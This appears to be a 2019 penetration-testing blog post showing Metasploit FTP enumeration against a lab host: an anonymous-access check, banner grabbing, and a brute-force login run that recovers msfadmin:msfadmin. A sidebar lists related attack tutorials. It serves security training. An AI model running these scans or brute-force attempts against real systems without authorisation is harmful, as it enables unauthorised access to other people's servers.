Sunday, October 6, 2019

Enumerate FTP Servers with Metasploit

The Metasploit framework provides us with some modules which we can use during the enmueration of a remote FTP host.

Check for anonymous FTP access

We can check to see if the remote FTP service allows anonymous access by using the auxiliary/scanner/ftp/anonymous module. You can specify the user and password to connect anonymously with by setting the 'FTPPASS' and 'FTPUSER' options in msfconsole. The default is 'anonymous' and 'mozilla@example.org'

msf5  > use auxiliary/scanner/ftp/anonymous
msf5 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf5 auxiliary(scanner/ftp/anonymous) > run

[+] 192.168.56.102:21     - 192.168.56.102:21 - Anonymous READ (220 (vsFTPd 2.3.4))
[*] 192.168.56.102:21     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ftp/anonymous) >

Grab FTP banner

Grabbing the software version of the FTP running is important in idenitfying possible security vulnerabilites. Metasploit allows us to get the version of software running by executing the auxiliary/scanner/ftp/ftp_version module. The only options to set are the RHOSTS option specifying the remote host to probe.

msf5 > use auxiliary/scanner/ftp/ftp_version
msf5 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf5 auxiliary(scanner/ftp/ftp_version) > run

[+] 192.168.56.102:21     - FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x0a'
[*] 192.168.56.102:21     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ftp/ftp_version) >

Brute force FTP logins

Metasploit gives you the ability to brute force possible login combinations against a remote FTP service. The ftp_login module iterates through two lists you specify for the user and passwords. A option to specify is the 'STOP_ON_SUCCESS' which stops the cracking when a valid user and password combination are found.

msf5 > use auxiliary/scanner/ftp/ftp_login
msf5 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf5 auxiliary(scanner/ftp/ftp_login) > set PASS_FILE /home/sam/common-1000-pass.txt
PASS_FILE => /home/sam/common-1000-pass.txt
msf5 auxiliary(scanner/ftp/ftp_login) > set USER_FILE /home/sam/users.txt
USER_FILE => /home/sam/users.txt
msf5 auxiliary(scanner/ftp/ftp_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ftp/ftp_login) > run

[*] 192.168.56.102:21     - 192.168.56.102:21 - Starting FTP login sweep
[!] 192.168.56.102:21     - No active DB -- Credential data will not be saved!
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:123456 (Incorrect: )
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:password (Incorrect: )
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:12345678 (Incorrect: )
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:qwerty (Incorrect: )
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:123456789 (Incorrect: )
[-] 192.168.56.102:21     - 192.168.56.102:21 - LOGIN FAILED: msfadmin:12345 (Incorrect: )
[+] 192.168.56.102:21     - 192.168.56.102:21 - Login Successful: msfadmin:msfadmin
[*] 192.168.56.102:21     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ftp/ftp_login) >
at

No comments:

Post a Comment

Subscribe to: Post Comments (Atom)

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...

  • Enumerating SNMP Servers with NMAP
    NMAP gives you the ability to use scripts to enumerate and exploit remote host with the use of the NMAP Scripting Engine. Today we will be ...
  • Enumerating SMTP Servers with NMAP
    NMAP gives you the ability to enumerate SMTP service with some scripts from the NMAP Scripting Enigne. These scripts will produce some gene...
  • Testing LDAP servers with examples
    Today we are going to be attacking the remote service LDAP. The only thing we need is an IP Address so lets ping our host to verify its up ...
  • Exploring POP3 Servers
    Scanning the remote host We can use NMAP to scan the remote host and run enumeration scripts against the POP3 server. root@asus:~/unix% ...
  • Reading local files with XXE attacks
    Today we will be exploring XXE XML External Entity Attacks. A XXE attack is a attack that is brought against an application that deals with...
  • bWAPP Remote & Local File Inclusion (RFI/LFI)
    In bWAPP There is a module for RFI and LFI injections. Our goal is to exploit these vulnerabilities and get local access to the remote mac...
  • Socat Encrypted Bind and Reverse shells
    Encrypted Bind Shell First we need to generate a new openssl key to use with our bind shell. Victim Box: user@debian:~$ openssl req -ne...
  • DVWA: SQL Injection (Blind) with sqlmap
    We start off by getting the database names hosted on the remote server. sam@ubuntu:~/pentest/sqlmap$ python sqlmap.py -u "http://192...
  • Exploring NTP servers
    The ntpupdate command is used for updating your system time from a remote NTP server root@asus:~/unix% ntpdate -d 48.21.33.124 24 Sep 11:...
  • Metasploitable II: Samba Shares
    Lets first start off with an nmap scan of the remote host. root@ubuntu:~# nmap -p 139,445 -sV -sC 192.168.56.101 Starting Nmap 7.60 ( ht...